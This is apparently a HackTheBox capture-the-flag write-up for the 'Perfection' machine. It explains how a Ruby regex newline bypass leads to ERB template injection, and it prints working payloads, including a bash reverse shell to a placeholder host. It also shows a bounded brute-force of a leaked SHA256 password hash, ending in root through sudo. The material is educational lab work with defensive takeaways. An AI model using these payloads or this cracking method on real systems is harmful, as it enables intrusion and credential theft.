// HackTheBox
Perfection
Ruby regex per-line-anchor bypass → SSTI (RCE as susan) → cracked password from a leaked hash + mail hint
Recon
| Port | Service |
|---|---|
| 22 | SSH (OpenSSH 8.9p1 Ubuntu) |
| 80 | HTTP (nginx reverse-proxying WEBrick 1.7.0 / Ruby 3.0.2 — Sinatra app) |
The web server is a Ruby Sinatra app sitting behind nginx — WEBrick and Ruby 3.0.2
in the banner give that away. The site is a “Weighted Grade Calculator”:
/weighted-grade is a form that POSTs to /weighted-grade-calc with five sets of
category / grade / weight fields.
A calculator that takes a category name as text and then echoes it back into the results page is the thread to pull. Any app that reflects user-supplied text into a rendered page is a template-injection candidate, and a Ruby/Sinatra app almost certainly renders with ERB — so the category fields are where to push.
Foothold — Ruby regex per-line-anchor bypass -> SSTI (RCE as susan)
Source (main.rb, read post-shell) confirms the whole vuln:
elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && ... # all 5 categories, same regex
@result = ERB.new("...<%= ... %>...\%</p><p>" + params[:category1] + ": <%= ... %>..."
).result(binding)
Category values are concatenated directly into an ERB template string that’s then
.result(binding)‘d — this is server-side template injection (SSTI) by construction:
the user input becomes part of the template source, not just a value plugged into it,
so any <%= ... %> we smuggle in gets evaluated as Ruby. The only thing standing in the
way is that regex, /^[a-zA-Z0-9\/ ]+$/, which appears to forbid the characters an ERB
tag needs.
It doesn’t, because of how Ruby anchors work. In Ruby ^ and $ match the start and end
of a line, not of the whole string (the whole-string anchors are \A and \z). So if
a category value contains a newline, the regex is satisfied as long as any single line
fully matches [a-zA-Z0-9\/ ]+ — a benign line like a passes the check while a
different line in the same value carries the ERB payload straight into the template.
Payload (category1, raw newlines, urlencoded via curl --data-urlencode):
a
<%= `id` %>
1
Here a and 1 are the innocuous lines that satisfy the anchor, and the middle line
does the work. Note the backticks: Ruby’s system() returns a boolean and sends command
output to the server’s stdout, not back to us, so backticks (or %x()) are needed to
capture stdout into the response. With id confirming code execution, the same backtick
trick carries a full reverse-shell command:
a
<%= `setsid -f bash -c 'exec bash -i >& /dev/tcp/<LHOST>/4444 0>&1' </dev/null >/dev/null 2>&1 &` %>
1
The shell landed as susan. She’s already in the sudo group, but sudo -l demands
her password — which we don’t have yet, so that’s the next problem to solve.
Privilege Escalation — cracked password from a leaked hash + mail hint
Poking around susan’s home turns up a leftover database:
/home/susan/Migration/pupilpath_credentials.db (sqlite3, readable by susan) holds a
users table with SHA256 password hashes for five users, including susan’s:
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f.
An unsalted SHA256 with no format hint would be near-hopeless to crack, but the hint is
sitting in her mailbox. /var/mail/susan (an email from “Tina”) spells out the org’s
password policy: {firstname}_{firstname backwards}_{random int 1-1,000,000,000}, with
the firstname lowercase. For susan that fixes the entire structure to
susan_nasus_<N> with N between 1 and one billion — a finite, fully known keyspace
rather than an open-ended guess.
That turns cracking into a simple bounded loop: compute sha256("susan_nasus_" + N) for
N in 1..1e9 and compare against her hash. A pure-Ruby brute-forcer does ~2.1M hashes/sec
and finds it in ~190s — see exploit/crack_susan.rb. The password is:
susan_nasus_413759210.
With a real password in hand, sudo -l returns (ALL : ALL) ALL — susan may run
anything as root. sudo cat /root/root.txt grabs the flag directly (a full root shell
via sudo bash would work just as well; the flag was all that was needed).
Key Takeaways
- Ruby (and several other languages) treat
^/$as per-line, not whole-string, regex anchors —\A/\zare the whole-string equivalents. Any input-validation regex using^...$on multi-line-capable input is bypassable by embedding a newline and putting the malicious payload on a different line than the one that satisfies the regex. ERB.new(string_with_user_input).result(binding)is direct SSTI by construction — string concatenation into a template source, not just unescaped variable interpolation.- Ruby’s
system()returns a boolean and sends command output to the server’s own stdout, not the caller — use backticks (`cmd`) or%x()to capture output into the response. - A leaked/committed credentials DB plus a “helpful” policy-announcement email together turned an unrelated leftover artifact into a crackable, well-scoped keyspace (1e9, not infinite) — always check for both a hash and a format hint before assuming a hash is uncrackable.